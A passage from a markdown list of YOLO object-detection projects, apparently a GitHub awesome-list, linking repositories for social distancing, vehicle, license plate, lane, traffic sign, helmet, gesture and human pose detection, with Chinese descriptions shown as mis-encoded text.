- [song-laogou/yolov5-mask-42](https://gitee.com/song-laogou/yolov5-mask-42) : ๅบไบYOLOV5็ๅฃ็ฝฉๆฃๆต็ณป็ป-ๆไพๆๅญฆ่ง้ขใ
- ### Social Distance Detection
#### ็คพไบค่ท็ฆปๆฃๆต
- [Ank-Cha/Social-Distancing-Analyser-COVID-19](https://github.com/Ank-Cha/Social-Distancing-Analyser-COVID-19) <img src="https://img.shields.io/github/stars/Ank-Cha/Social-Distancing-Analyser-COVID-19?style=social"/> : Social Distancing Analyser to prevent COVID19.
- [abd-shoumik/Social-distance-detection](https://github.com/abd-shoumik/Social-distance-detection) <img src="https://img.shields.io/github/stars/abd-shoumik/Social-distance-detection?style=social"/> : Social distance detection, a deep learning computer vision project with yolo object detection.
- [ChargedMonk/Social-Distancing-using-YOLOv5](https://github.com/ChargedMonk/Social-Distancing-using-YOLOv5) <img src="https://img.shields.io/github/stars/ChargedMonk/Social-Distancing-using-YOLOv5?style=social"/> : Classifying people as high risk and low risk based on their distance to other people.
- [JohnBetaCode/Social-Distancing-Analyser](https://github.com/JohnBetaCode/Social-Distancing-Analyser) <img src="https://img.shields.io/github/stars/JohnBetaCode/Social-Distancing-Analyser?style=social"/> : Social Distancing Analyzer.
- [Ashamaria/Safe-distance-tracker-using-YOLOv3-v3](https://github.com/Ashamaria/Safe-distance-tracker-using-YOLOv3-v3) <img src="https://img.shields.io/github/stars/Ashamaria/Safe-distance-tracker-using-YOLOv3-v3?style=social"/> : Safe Distance Tracker.
- ### Autonomous Driving Field Detection
#### ่ชๅจ้ฉพ้ฉถ้ขๅๆฃๆต
- #### Vehicle Detection
##### ่ฝฆ่พๆฃๆต
- [williamhyin/yolov5s_bdd100k](https://github.com/williamhyin/yolov5s_bdd100k) <img src="https://img.shields.io/github/stars/williamhyin/yolov5s_bdd100k?style=social"/> : Train a yolo v5 object detection model on Bdd100k dataset.
- [Gaussian_YOLOv3](https://github.com/jwchoi384/Gaussian_YOLOv3) <img src="https://img.shields.io/github/stars/jwchoi384/Gaussian_YOLOv3?style=social"/> : "Gaussian YOLOv3: An Accurate and Fast Object Detector Using Localization Uncertainty for Autonomous Driving". (**[ICCV 2019](https://openaccess.thecvf.com/content_ICCV_2019/html/Choi_Gaussian_YOLOv3_An_Accurate_and_Fast_Object_Detector_Using_Localization_ICCV_2019_paper.html)**)
- [streamlit/demo-self-driving](https://github.com/streamlit/demo-self-driving) <img src="https://img.shields.io/github/stars/streamlit/demo-self-driving?style=social"/> : Streamlit app demonstrating an image browser for the Udacity self-driving-car dataset with realtime object detection using YOLO.
- [JunshengFu/vehicle-detection](https://github.com/JunshengFu/vehicle-detection) <img src="https://img.shields.io/github/stars/JunshengFu/vehicle-detection?style=social"/> : Created vehicle detection pipeline with two approaches: (1) deep neural networks (YOLO framework) and (2) support vector machines ( OpenCV + HOG).
- [xslittlegrass/CarND-Vehicle-Detection](https://github.com/xslittlegrass/CarND-Vehicle-Detection) <img src="https://img.shields.io/github/stars/xslittlegrass/CarND-Vehicle-Detection?style=social"/> : Vehicle detection using YOLO in Keras runs at 21FPS.
- [Kevinnan-teen/Intelligent-Traffic-Based-On-CV](https://github.com/Kevinnan-teen/Intelligent-Traffic-Based-On-CV) <img src="https://img.shields.io/github/stars/Kevinnan-teen/Intelligent-Traffic-Based-On-CV?style=social"/> : ๅบไบ่ฎก็ฎๆบ่ง่ง็ไบค้่ทฏๅฃๆบ่ฝ็ๆง็ณป็ปใ
- [subodh-malgonde/vehicle-detection](https://github.com/subodh-malgonde/vehicle-detection) <img src="https://img.shields.io/github/stars/subodh-malgonde/vehicle-detection?style=social"/> : Detect vehicles in a video.
- [CaptainEven/Vehicle-Car-detection-and-multilabel-classification](https://github.com/CaptainEven/Vehicle-Car-detection-and-multilabel-classification) <img src="https://img.shields.io/github/stars/CaptainEven/Vehicle-Car-detection-and-multilabel-classification?style=social"/> : ไฝฟ็จYOLO_v3_tinyๅB-CNNๅฎ็ฐ่กๅคด่ฝฆ่พ็ๆฃๆตๅ่ฝฆ่พๅฑๆง็ๅคๆ ็ญพ่ฏๅซ Using yolo_v3_tiny to do vehicle or car detection and attribute's multilabel classification or recognizeใ
- [kaylode/vehicle-counting](https://github.com/kaylode/vehicle-counting) <img src="https://img.shields.io/github/stars/kaylode/vehicle-counting?style=social"/> : Vehicle counting using Pytorch.
- [MaryamBoneh/Vehicle-Detection](https://github.com/MaryamBoneh/Vehicle-Detection) <img src="https://img.shields.io/github/stars/MaryamBoneh/Vehicle-Detection?style=social"/> : Vehicle Detection Using Deep Learning and YOLO Algorithm.
- [JeffWang0325/Image-Identification-for-Self-Driving-Cars](https://github.com/JeffWang0325/Image-Identification-for-Self-Driving-Cars) <img src="https://img.shields.io/github/stars/JeffWang0325/Image-Identification-for-Self-Driving-Cars?style=social"/> : This project achieves some functions of image identification for Self-Driving Cars.
- [AnarbekovAlt/Traffic-analysis](https://github.com/AnarbekovAlt/Traffic-analysis) <img src="https://img.shields.io/github/stars/AnarbekovAlt/Traffic-analysis?style=social"/> : A traffic analysis system is built on the basis of the YOLO network.
- [ruhyadi/yolov5-nodeflux](https://github.com/ruhyadi/yolov5-nodeflux) <img src="https://img.shields.io/github/stars/ruhyadi/yolov5-nodeflux?style=social"/> : YOLOv5 Nodeflux Vehicle Detection.
- [Daheer/Driving-Environment-Detector](https://github.com/Daheer/Driving-Environment-Detector) <img src="https://img.shields.io/github/stars/Daheer/Driving-Environment-Detector?style=social"/> : Detecting road objects using YOLO CNN Architecture.
- [georgia-tech-db/eva](https://github.com/georgia-tech-db/eva) <img src="https://img.shields.io/github/stars/georgia-tech-db/eva?style=social"/> : Exploratory Video Analytics System.
- [heathhenley/RhodyCarCounter](https://github.com/heathhenley/RhodyCarCounter) <img src="https://img.shields.io/github/stars/heathhenley/RhodyCarCounter?style=social"/> : An app that uses Yolo to count the cars passing by traffic cams mostly in the Providence, RI area.
- [zehengl/yyc-traffic-cam](https://github.com/zehengl/yyc-traffic-cam) <img src="https://img.shields.io/github/stars/zehengl/yyc-traffic-cam?style=social"/> : A demo to detect vehicles in traffic cam. [zehengl.github.io/yyc-traffic-cam/](https://zehengl.github.io/yyc-traffic-cam/)
- [ruhyadi/vehicle-detection-yolov8](https://github.com/ruhyadi/vehicle-detection-yolov8) <img src="https://img.shields.io/github/stars/ruhyadi/vehicle-detection-yolov8?style=social"/> : Vehicle Detection with YOLOv8.
- #### License Plate Detection and Recognition
##### ่ฝฆ็ๆฃๆตไธ่ฏๅซ
- [zeusees/License-Plate-Detector](https://github.com/zeusees/License-Plate-Detector) <img src="https://img.shields.io/github/stars/zeusees/License-Plate-Detector?style=social"/> : License Plate Detection with Yolov5๏ผๅบไบYolov5่ฝฆ็ๆฃๆตใ
- [TheophileBuy/LicensePlateRecognition](https://github.com/TheophileBuy/LicensePlateRecognition) <img src="https://img.shields.io/github/stars/TheophileBuy/LicensePlateRecognition?style=social"/> : License Plate Recognition.
- [alitourani/yolo-license-plate-detection](https://github.com/alitourani/yolo-license-plate-detection) <img src="https://img.shields.io/github/stars/alitourani/yolo-license-plate-detection?style=social"/> : A License-Plate detecttion application based on YOLO.
- [HuKai97/YOLOv5-LPRNet-Licence-Recognition](https://github.com/HuKai97/YOLOv5-LPRNet-Licence-Recognition) <img src="https://img.shields.io/github/stars/HuKai97/YOLOv5-LPRNet-Licence-Recognition?style=social"/> : ไฝฟ็จYOLOv5ๅLPRNet่ฟ่ก่ฝฆ็ๆฃๆต+่ฏๅซ๏ผCCPDๆฐๆฎ้๏ผใ
- [xialuxi/yolov5-car-plate](https://github.com/xialuxi/yolov5-car-plate) <img src="https://img.shields.io/github/stars/xialuxi/yolov5-car-plate?style=social"/> : ๅบไบyolov5็่ฝฆ็ๆฃๆต๏ผๅ
ๅซ่ฝฆ็่ง็นๆฃๆตใ
- [kyrielw24/License_Plate_Recognition](https://github.com/kyrielw24/License_Plate_Recognition) <img src="https://img.shields.io/github/stars/kyrielw24/License_Plate_Recognition?style=social"/> : ๅบไบYolo&CNN็่ฝฆ็่ฏๅซๅฏ่งๅ้กน็ฎใ
- [we0091234/yolov7_plate](https://github.com/we0091234/yolov7_plate) <img src="https://img.shields.io/github/stars/we0091234/yolov7_plate?style=social"/> : yolov7 ่ฝฆ็ๆฃๆต ่ฝฆ็่ฏๅซ ไธญๆ่ฝฆ็่ฏๅซ ๆฃๆต ๆฏๆๅๅฑ่ฝฆ็ ๆฏๆ13็งไธญๆ่ฝฆ็ใ
- [MuhammadMoinFaisal/Automatic_Number_Plate_Detection_Recognition_YOLOv8](https://github.com/MuhammadMoinFaisal/Automatic_Number_Plate_Detection_Recognition_YOLOv8) <img src="https://img.shields.io/github/stars/MuhammadMoinFaisal/Automatic_Number_Plate_Detection_Recognition_YOLOv8?style=social"/> : Automatic Number Plate Detection YOLOv8.
- #### Lane Detection
##### ่ฝฆ้็บฟๆฃๆต
- [YOLOP](https://github.com/hustvl/YOLOP) <img src="https://img.shields.io/github/stars/hustvl/YOLOP?style=social"/> : "YOLOP: You Only Look Once for Panoptic Driving Perception". (**[arXiv 2021](https://arxiv.org/abs/2108.11250)**).
- [YOLOPv2](https://github.com/CAIC-AD/YOLOPv2) <img src="https://img.shields.io/github/stars/CAIC-AD/YOLOPv2?style=social"/> : "YOLOPv2: Better, Faster, Stronger for Panoptic Driving Perception". (**[arXiv 2022](https://arxiv.org/abs/2208.11434)**). "ๅพฎไฟกๅ
ฌไผๅทใ้ๆบไนฆ็ซฅใใ[YOLOP v2ๆฅๅฆ | YOLOv7็ปๅYOLOP็ๅคไปปๅก็ๆฌ๏ผ่ถ
่ถYOLOPไปฅๅHybridNets](https://mp.weixin.qq.com/s/XTD32JCu_YbZjV2Br3KXCA)ใ"
- [FeiGeChuanShu/YOLOPv2-ncnn](https://github.com/FeiGeChuanShu/YOLOPv2-ncnn) <img src="https://img.shields.io/github/stars/FeiGeChuanShu/YOLOPv2-ncnn?style=social"/> : YOLOPv2-ncnn.
- [visualbuffer/copilot](https://github.com/visualbuffer/copilot) <img src="https://img.shields.io/github/stars/visualbuffer/copilot?style=social"/> : Lane and obstacle detection for active assistance during driving.
- [hpc203/YOLOP-opencv-dnn](https://github.com/hpc203/YOLOP-opencv-dnn) <img src="https://img.shields.io/github/stars/hpc203/YOLOP-opencv-dnn?style=social"/> : ไฝฟ็จOpenCV้จ็ฝฒๅ
จๆฏ้ฉพ้ฉถๆ็ฅ็ฝ็ปYOLOP๏ผๅฏๅๆถๅค็ไบค้็ฎๆ ๆฃๆตใๅฏ้ฉพ้ฉถๅบๅๅๅฒใ่ฝฆ้็บฟๆฃๆต๏ผไธ้กน่ง่งๆ็ฅไปปๅกใ
- [EdVince/YOLOP-NCNN](https://github.com/EdVince/YOLOP-NCNN) <img src="https://img.shields.io/github/stars/EdVince/YOLOP-NCNN?style=social"/> : YOLOP running in Android by ncnn.
- #### Driving Behavior Detection
##### ้ฉพ้ฉถ่กไธบๆฃๆต
- [JingyibySUTsoftware/Yolov5-deepsort-driverDistracted-driving-behavior-detection](https://github.com/JingyibySUTsoftware/Yolov5-deepsort-driverDistracted-driving-behavior-detection) <img src="https://img.shields.io/github/stars/JingyibySUTsoftware/Yolov5-deepsort-driverDistracted-driving-behavior-detection?style=social"/> : ๅบไบๆทฑๅบฆๅญฆไน ็้ฉพ้ฉถๅๅๅฟ้ฉพ้ฉถ่กไธบ๏ผ็ฒๅณ+ๅฑ้ฉ่กไธบ๏ผ้ข่ญฆ็ณป็ปไฝฟ็จYOLOv5+Deepsortๅฎ็ฐ้ฉพ้ฉถๅ็ๅฑ้ฉ้ฉพ้ฉถ่กไธบ็้ข่ญฆ็ๆตใ
- [Arrowes/CEAM-YOLOv7](https://github.com/Arrowes/CEAM-YOLOv7) <img src="https://img.shields.io/github/stars/Arrowes/CEAM-YOLOv7?style=social"/> : "CEAM-YOLOv7:Improved YOLOv7 Based on Channel Expansion and Attention Mechanism for Driver Distraction Behavior Detection". (**[IEEE Access, 2022](https://ieeexplore.ieee.org/abstract/document/9980374/)**).
- #### Parking Slot Detection
##### ๅ่ฝฆไฝๆฃๆต
- [visualbuffer/parkingslot](https://github.com/visualbuffer/parkingslot) <img src="https://img.shields.io/github/stars/visualbuffer/parkingslot?style=social"/> : Automated parking occupancy detection.
- [anil2k/smart-car-parking-yolov5](https://github.com/anil2k/smart-car-parking-yolov5) <img src="https://img.shields.io/github/stars/anil2k/smart-car-parking-yolov5?style=social"/> : Detect free parking lot available for cars.
- #### Traffic Light Detection
##### ไบค้็ฏๆฃๆต
- [berktepebag/Traffic-light-detection-with-YOLOv3-BOSCH-traffic-light-dataset](https://github.com/berktepebag/Traffic-light-detection-with-YOLOv3-BOSCH-traffic-light-dataset) <img src="https://img.shields.io/github/stars/berktepebag/Traffic-light-detection-with-YOLOv3-BOSCH-traffic-light-dataset?style=social"/> : Detecting Traffic Lights in Real-time with YOLOv3.
- [mihir-m-gandhi/Adaptive-Traffic-Signal-Timer](https://github.com/mihir-m-gandhi/Adaptive-Traffic-Signal-Timer) <img src="https://img.shields.io/github/stars/mihir-m-gandhi/Adaptive-Traffic-Signal-Timer?style=social"/> : This Adaptive Traffic Signal Timer uses live images from the cameras at traffic junctions for real-time traffic density calculation using YOLO object detection and sets the signal timers accordingly.
- [wade0125/Traffic_Light_Detection_Yolo](https://github.com/wade0125/Traffic_Light_Detection_Yolo) <img src="https://img.shields.io/github/stars/wade0125/Traffic_Light_Detection_Yolo?style=social"/> : Traffic Light Detection Yolo.
- #### Traffic Sign Detection
##### ไบค้ๆ ๅฟๆฃๆต
- [Ai-trainee/Traffic-Sign-Recognition-PyQt5-YOLOv5-GUI](https://github.com/Ai-trainee/Traffic-Sign-Recognition-PyQt5-YOLOv5-GUI) <img src="https://img.shields.io/github/stars/Ai-trainee/Traffic-Sign-Recognition-PyQt5-YOLOv5-GUI?style=social"/> : Road Sign Recognition Project Based on YOLOv5. This is a road sign recognition project based on YOLOv5, developed with a PyQt5 interface, YOLOv5 trained model, and MySQL database. ่ฟๆฏไธไธชๅบไบYOLOv5๐็้่ทฏๆ ๅฟ่ฏๅซ็ณป็ป๐๏ผไฝฟ็จไบMySQLๆฐๆฎๅบ๐ฝ๏ผPyQt5่ฟ่ก็้ข่ฎพ่ฎก๐จ๏ผPyTorchๆทฑๅบฆๅญฆไน ๆกๆถๅTensorRT่ฟ่กๅ ้โก๏ผๅๆถๅ
ๅซไบCSSๆ ทๅผ๐ใ็ณป็ป็ฑไบไธชไธป่ฆๆจกๅ็ปๆ๏ผ็ณป็ป็ปๅฝๆจกๅ๐่ด่ดฃ็จๆท็ป้๏ผๅๅงๅๅๆฐๆจกๅ๐ๆไพYOLOv5ๆจกๅ็ๅๅงๅๅๆฐ่ฎพ็ฝฎ๏ผๆ ๅฟ่ฏๅซๆจกๅ๐ๆฏ็ณป็ป็ๆ ธๅฟ๏ผ่ด่ดฃๅฏน้่ทฏๆ ๅฟ่ฟ่ก่ฏๅซๅนถๅฐ็ปๆๅฏผๅ
ฅๆฐๆฎๅบ๏ผๆฐๆฎๅบๆจกๅ๐พๅ
ๅซๅบๆฌๆฐๆฎๅบๆไฝๅๆฐๆฎๅๆไธคไธชๅญๆจกๅ๏ผๅพๅๅค็ๆจกๅ๐ผ๏ธ่ด่ดฃๅไธชๅพๅ็ๅค็ๅๆฐๆฎๅขๅผบใๆดไธช็ณป็ปๆฏๆๅค็งๆฐๆฎ่พๅ
ฅๅๆจกๅๅๆข๏ผๆไพไบๅ
ๆฌmossicๅmixupๅจๅ
็ๅพๅๅขๅผบๆนๆณ๐ใ
- [halftop/TT100K_YOLO_Label](https://github.com/halftop/TT100K_YOLO_Label) <img src="https://img.shields.io/github/stars/halftop/TT100K_YOLO_Label?style=social"/> : Tsinghua-Tencent 100K dataset XML and TXT Label.
- [amazingcodeLYL/Traffic_signs_detection_darket](https://github.com/amazingcodeLYL/Traffic_signs_detection_darket) <img src="https://img.shields.io/github/stars/amazingcodeLYL/Traffic_signs_detection_darket?style=social"/> : darknetไบค้ๆ ๅฟๆฃๆต&TT100Kๆฐๆฎ้ใ
- [TalkUHulk/yolov3-TT100k](https://github.com/TalkUHulk/yolov3-TT100k) <img src="https://img.shields.io/github/stars/TalkUHulk/yolov3-TT100k?style=social"/> : ไฝฟ็จyolov3่ฎญ็ป็TT100k(ไบค้ๆ ๅฟ)ๆจกๅใ
- [TalkUHulk/yolov4-TT100k](https://github.com/TalkUHulk/yolov4-TT100k) <img src="https://img.shields.io/github/stars/TalkUHulk/yolov4-TT100k?style=social"/> : ไฝฟ็จyolov4่ฎญ็ป็TT100k(ไบค้ๆ ๅฟ)ๆจกๅใ
- [sarah-antillia/YOLO_Realistic_USA_RoadSigns_160classes](https://github.com/sarah-antillia/YOLO_Realistic_USA_RoadSigns_160classes) <img src="https://img.shields.io/github/stars/sarah-antillia/YOLO_Realistic_USA_RoadSigns_160classes?style=social"/> : USA RoadSigns Dataset 160classes annotated by YOLO format.
- [DickensKP/yolov3-vehicle-pedestrian-trafficsign-detection-system](https://github.com/DickensKP/yolov3-vehicle-pedestrian-trafficsign-detection-system) <img src="https://img.shields.io/github/stars/DickensKP/yolov3-vehicle-pedestrian-trafficsign-detection-system?style=social"/> : ๅบไบbubbliiiing็yolov3-pytorchๆกๆถ๏ผ่ชไธป่ฎญ็ป็่ฝฆ่พใ่กไบบใไบค้ๆ ๅฟ่ฏๅซ็ณป็ป.
- [mkrupczak3/Coneslayer](https://github.com/mkrupczak3/Coneslayer) <img src="https://img.shields.io/github/stars/mkrupczak3/Coneslayer?style=social"/> : A lightweight neural-network for rapid detection of traffic cones.
- #### Crosswalk Detection
##### ไบบ่กๆจช้/ๆ้ฉฌ็บฟๆฃๆต
- [CDNet](https://github.com/zhangzhengde0225/CDNet) <img src="https://img.shields.io/github/stars/zhangzhengde0225/CDNet?style=social"/> : "CDNet: a real-time and robust crosswalk detection network on Jetson nano based on YOLOv5". (**[Neural Computing and Applications 2022](https://link.springer.com/article/10.1007/s00521-022-07007-9)**). "ๅพฎไฟกๅ
ฌไผๅทใCVerใใ[ไธๆตทไบคๅคงๆๅบCDNet๏ผๅบไบๆน่ฟYOLOv5็ๆ้ฉฌ็บฟๅๆฑฝ่ฝฆ่ฟ็บฟ่กไธบๆฃๆต](https://mp.weixin.qq.com/s/2F3WBtfN_7DkhERMOH8-QA)ใ"ใ
- [xN1ckuz/Crosswalks-Detection-using-YoloV5](https://github.com/xN1ckuz/Crosswalks-Detection-using-YoloV5) <img src="https://img.shields.io/github/stars/xN1ckuz/Crosswalks-Detection-using-YoloV5?style=social"/> : Crosswalks Detection using YOLO, project for Computer Vision and Machine Perception course at University of Basilicata, Computer Science and Engineering.
- #### Traffic Accidents Detection
##### ไบค้ไบๆ
ๆฃๆต
- [khaledsabry97/Argus](https://github.com/khaledsabry97/Argus) <img src="https://img.shields.io/github/stars/khaledsabry97/Argus?style=social"/> : "Road Traffic Accidents Detection Based On Crash Estimation". (**[IEEE ICENCO 2021](https://ieeexplore.ieee.org/document/9698968)**)
- #### Road Damage Detection
##### ้่ทฏๆไผคๆฃๆต
- [adnanmushtaq1996/Yolov4_Road_Damage_Detection](https://github.com/adnanmushtaq1996/Yolov4_Road_Damage_Detection) <img src="https://img.shields.io/github/stars/adnanmushtaq1996/Yolov4_Road_Damage_Detection?style=social"/> : A Repository to Train a Custom Yolov4 based object detector for road damage detection using the RDD2020 dataset.
- [E-Kozyreva/detection_potholes_yolov8n](https://github.com/E-Kozyreva/detection_potholes_yolov8n) <img src="https://img.shields.io/github/stars/E-Kozyreva/detection_potholes_yolov8n?style=social"/> : ะะพะธัะบ ะฒัะฑะพะธะฝ ะฝะฐ ะดะพัะพะณะฐั
ั ะธัะฟะพะปัะทะพะฒะฐะฝะธะตะผ YOLOv8 Nano.
- ### Animal Detection
#### ๅจ็ฉๆฃๆต
- [SaiSwarup27/Animal-Intrusion-Detection](https://github.com/SaiSwarup27/Animal-Intrusion-Detection) <img src="https://img.shields.io/github/stars/SaiSwarup27/Animal-Intrusion-Detection?style=social"/> : Animal Detection using YOLOv5.
- [xcapt0/animal_recognition](https://github.com/xcapt0/animal_recognition) <img src="https://img.shields.io/github/stars/xcapt0/animal_recognition?style=social"/> : ๐ฆ Let the robot recognize the animal instead of you | YOLOv5.
- [PhamDangNguyen/YOLOv5_Animals](https://github.com/PhamDangNguyen/YOLOv5_Animals) <img src="https://img.shields.io/github/stars/PhamDangNguyen/YOLOv5_Animals?style=social"/> : YOLOv5 for detection Animals.
- [Sabuj-CSE11/AnimalDetection](https://github.com/Sabuj-CSE11/AnimalDetection) <img src="https://img.shields.io/github/stars/Sabuj-CSE11/AnimalDetection?style=social"/> : Cat and Dogs detection using YoloV5.
- ### Helmet Detection
#### ๅคด็/ๅฎๅ
จๅธฝๆฃๆต
- [PeterH0323/Smart_Construction](https://github.com/PeterH0323/Smart_Construction) <img src="https://img.shields.io/github/stars/PeterH0323/Smart_Construction?style=social"/> : Head Person Helmet Detection on Construction Sites๏ผๅบไบ็ฎๆ ๆฃๆตๅทฅๅฐๅฎๅ
จๅธฝๅ็ฆๅ
ฅๅฑ้ฉๅบๅ่ฏๅซ็ณป็ปใ
- [Byronnar/tensorflow-serving-yolov3](https://github.com/Byronnar/tensorflow-serving-yolov3) <img src="https://img.shields.io/github/stars/Byronnar/tensorflow-serving-yolov3?style=social"/> : ๅฏนๅtensorflow-yolov3็ๆฌๅไบ่ฎธๅค็ป่ไธ็ๆน่ฟ๏ผๅขๅ ไบTensorFlow-Servingๅทฅ็จ้จ็ฝฒ๏ผ่ฎญ็ปไบๅคไธชๆฐๆฎ้๏ผๅ
ๆฌVisdrone2019, ๅฎๅ
จๅธฝ็ญใ
- [gengyanlei/reflective-clothes-detect-yolov5](https://github.com/gengyanlei/reflective-clothes-detect-yolov5) <img src="https://img.shields.io/github/stars/gengyanlei/reflective-clothes-detect-yolov5?style=social"/> : reflective-clothes-detect-datasetใhelemet detection yolov5ใๅทฅไฝๆ(ๅๅ
่กฃ)ๆฃๆตๆฐๆฎ้ใๅฎๅ
จๅธฝๆฃๆตใๆฝๅทฅไบบๅ็ฉฟๆดๆฃๆตใ
- [DataXujing/YOLO-V3-Tensorflow](https://github.com/DataXujing/YOLO-V3-Tensorflow) <img src="https://img.shields.io/github/stars/DataXujing/YOLO-V3-Tensorflow?style=social"/> : ๐ท ๐ท๐ท YOLO V3(Tensorflow 1.x) ๅฎๅ
จๅธฝ ่ฏๅซ | ๆไพๆฐๆฎ้ไธ่ฝฝๅไธ้ข่ฎญ็ปๆจกๅใ
- [rafiuddinkhan/Yolo-Training-GoogleColab](https://github.com/rafiuddinkhan/Yolo-Training-GoogleColab) <img src="https://img.shields.io/github/stars/rafiuddinkhan/Yolo-Training-GoogleColab?style=social"/> : Helmet Detection using tiny-yolo-v3 by training using your own dataset and testing the results in the google colaboratory.
- [BlcaKHat/yolov3-Helmet-Detection](https://github.com/BlcaKHat/yolov3-Helmet-Detection) <img src="https://img.shields.io/github/stars/BlcaKHat/yolov3-Helmet-Detection?style=social"/> : Training a YOLOv3 model to detect the presence of helmet for intrusion or traffic monitoring.
- [yumulinfeng1/YOLOv4-Hat-detection](https://github.com/yumulinfeng1/YOLOv4-Hat-detection) <img src="https://img.shields.io/github/stars/yumulinfeng1/YOLOv4-Hat-detection?style=social"/> : ๅบไบYOLOv4็ๅฎๅ
จๅธฝไฝฉๆดๆฃๆตใ
- [FanDady/Helmet-Detection-YoloV5](https://github.com/FanDady/Helmet-Detection-YoloV5) <img src="https://img.shields.io/github/stars/FanDady/Helmet-Detection-YoloV5?style=social"/> : Safety helmet wearing detection on construction site based on YoloV5s-V5.0 including helmet dataset๏ผๅบไบYoloV5-V5.0็ๅทฅๅฐๅฎๅ
จๅธฝๆฃๆตๅนถไธๅ
ๅซๅผๆบ็ๅฎๅ
จๅธฝๆฐๆฎ้๏ผใ
- [RUI-LIU7/Helmet_Detection](https://github.com/RUI-LIU7/Helmet_Detection) <img src="https://img.shields.io/github/stars/RUI-LIU7/Helmet_Detection?style=social"/> : ไฝฟ็จyolov5็ฎๆณๅฎ็ฐๅฎๅ
จๅธฝไปฅๅๅฑ้ฉๅบๅ็็ๆต๏ผๅๆถๆฅๅ
ฅๆตทๅบทๆๅๅคดๅฎ็ฐๅฎๆถ็ๆตใ
- [ZijianWang1995/PPE_detection](https://github.com/ZijianWang1995/PPE_detection) <img src="https://img.shields.io/github/stars/ZijianWang1995/PPE_detection?style=social"/> : Real-time PPE detection based on YOLO. Open high-quality dataset. "Fast Personal Protective Equipment Detection for Real Construction Sites Using Deep Learning Approaches". (**[Sensors 2021](https://www.mdpi.com/1424-8220/21/10/3478)**)
- ### Hand Detection
#### ๆ้จๆฃๆต
- [cansik/yolo-hand-detection](https://github.com/cansik/yolo-hand-detection) <img src="https://img.shields.io/github/stars/cansik/yolo-hand-detection?style=social"/> : A pre-trained YOLO based hand detection network.
- ### Gesture Recognition
#### ๆๅฟ/ๆ่ฏญ่ฏๅซ
- [MahmudulAlam/Unified-Gesture-and-Fingertip-Detection](https://github.com/MahmudulAlam/Unified-Gesture-and-Fingertip-Detection) <img src="https://img.shields.io/github/stars/MahmudulAlam/Unified-Gesture-and-Fingertip-Detection?style=social"/> : "Unified learning approach for egocentric hand gesture recognition and fingertip detection". (**[Elsevier 2022](https://www.sciencedirect.com/science/article/abs/pii/S0031320321003824)**)
- [insigh1/Interactive_ABCs_with_American_Sign_Language_using_Yolov5](https://github.com/insigh1/Interactive_ABCs_with_American_Sign_Language_using_Yolov5) <img src="https://img.shields.io/github/stars/insigh1/Interactive_ABCs_with_American_Sign_Language_using_Yolov5?style=social"/> : Interactive ABC's with American Sign Language.
- [Dreaming-future/YOLO-Object-Detection](https://github.com/Dreaming-future/YOLO-Object-Detection) <img src="https://img.shields.io/github/stars/Dreaming-future/YOLO-Object-Detection?style=social"/> : YOLO-Object-Detection ้ๆๅค็งyoloๆจกๅ๏ผไฝไธบไธไธชๆจกๆฟ่ฟ่ก็ฎๆ ๆฃๆตใ
- ### Action Detection
#### ่กไธบๆฃๆต
- [wufan-tb/yolo_slowfast](https://github.com/wufan-tb/yolo_slowfast) <img src="https://img.shields.io/github/stars/wufan-tb/yolo_slowfast?style=social"/> : A realtime action detection frame work based on PytorchVideo.
- ### Emotion Recognition
#### ๆ
ๆ่ฏๅซ
- [Tandon-A/emotic](https://github.com/Tandon-A/emotic) <img src="https://img.shields.io/github/stars/Tandon-A/emotic?style=social"/> : "Context based emotion recognition using emotic dataset". (**[arXiv 2020](https://arxiv.org/abs/2003.13401)**)
- ### Human Pose Estimation
#### ไบบไฝๅงฟๆไผฐ่ฎก
- [wmcnally/kapao](https://github.com/wmcnally/kapao) <img src="https://img.shields.io/github/stars/wmcnally/kapao?style=social"/> : KAPAO is a state-of-the-art single-stage human pose estimation model that detects keypoints and poses as objects and fuses the detections to predict human poses. "Rethinking Keypoint Representations: Modeling Keypoints and Poses as Objects for Multi-Person Human Pose Estimation". (**[arXiv 2021](https://arxiv.org/abs/2111.08557)**)
- [TexasInstruments/edgeai-yolov5](https://github.com/TexasInstruments/edgeai-yolov5) <img src="https://img.shields.io/github/stars/TexasInstruments/edgeai-yolov5?style=social"/> : "YOLO-Pose: Enhancing YOLO for Multi Person Pose Estimation Using Object Keypoint Similarity Loss". (**[arXiv 2022](https://arxiv.org/abs/2204.06806)**)
- [TexasInstruments/edgeai-yolox](https://github.com/TexasInstruments/edgeai-yolox) <img src="https://img.shields.io/github/stars/TexasInstruments/edgeai-yolox?style=social"/> : "YOLO-Pose: Enhancing YOLO for Multi Person Pose Estimation Using Object Keypoint Similarity Loss". (**[arXiv 2022](https://arxiv.org/abs/2204.06806)**)
- [jinfagang/VIBE_yolov5](https://github.com/jinfagang/VIBE_yolov5) <img src="https://img.shields.io/github/stars/jinfagang/VIBE_yolov5?style=social"/> : Using YOLOv5 as detection on VIBE. "VIBE: Video Inference for Human Body Pose and Shape Estimation". (**[CVPR 2020](https://openaccess.thecvf.com/content_CVPR_2020/html/Kocabas_VIBE_Video_Inference_for_Human_Body_Pose_and_Shape_Estimation_CVPR_2020_paper.html)**)
- [zhuoxiangpang/ism_person_openpose](https://github.com/zhuoxiangpang/ism_person_openpose) <img src="https://img.shields.io/github/stars/zhuoxiangpang/ism_person_openpose?style=social"/> : yolov5ไบบไฝๆฃๆต+openposeๅงฟๆๆฃๆต ๅฎ็ฐๆๅๆฃๆตใ
- [pengyang1225/yolov5_person_pose](https://github.com/pengyang1225/yolov5_person_pose) <img src="https://img.shields.io/github/stars/pengyang1225/yolov5_person_pose?style=social"/> : ๅบไบyolov5็personโposeใ
- [hpc203/yolov5_pose_opencv](https://github.com/hpc203/yolov5_pose_opencv) <img src="https://img.shields.io/github/stars/hpc203/yolov5_pose_opencv?style=social"/> : ไฝฟ็จOpenCV้จ็ฝฒyolov5-pose็ฎๆ ๆฃๆต+ไบบไฝๅงฟๆไผฐ่ฎก๏ผๅ
ๅซC++ๅPythonไธคไธช็ๆฌ็็จๅบใๆฏๆyolov5s๏ผyolov5m๏ผyolov5lใ
- [RizwanMunawar/yolov7-pose-estimation](https://github.com/RizwanMunawar/yolov7-pose-estimation) <img src="https://img.shields.io/github/stars/RizwanMunawar/yolov7-pose-estimation?style=social"/> : YOLOv7 Pose estimation using OpenCV, PyTorch.
- [nanmi/yolov7-pose](https://github.com/nanmi/yolov7-pose) <img src="https://img.shields.io/github/stars/nanmi/yolov7-pose?style=social"/> : pose detection base on yolov7.
- ### Distance Measurement
#### ่ท็ฆปๆต้
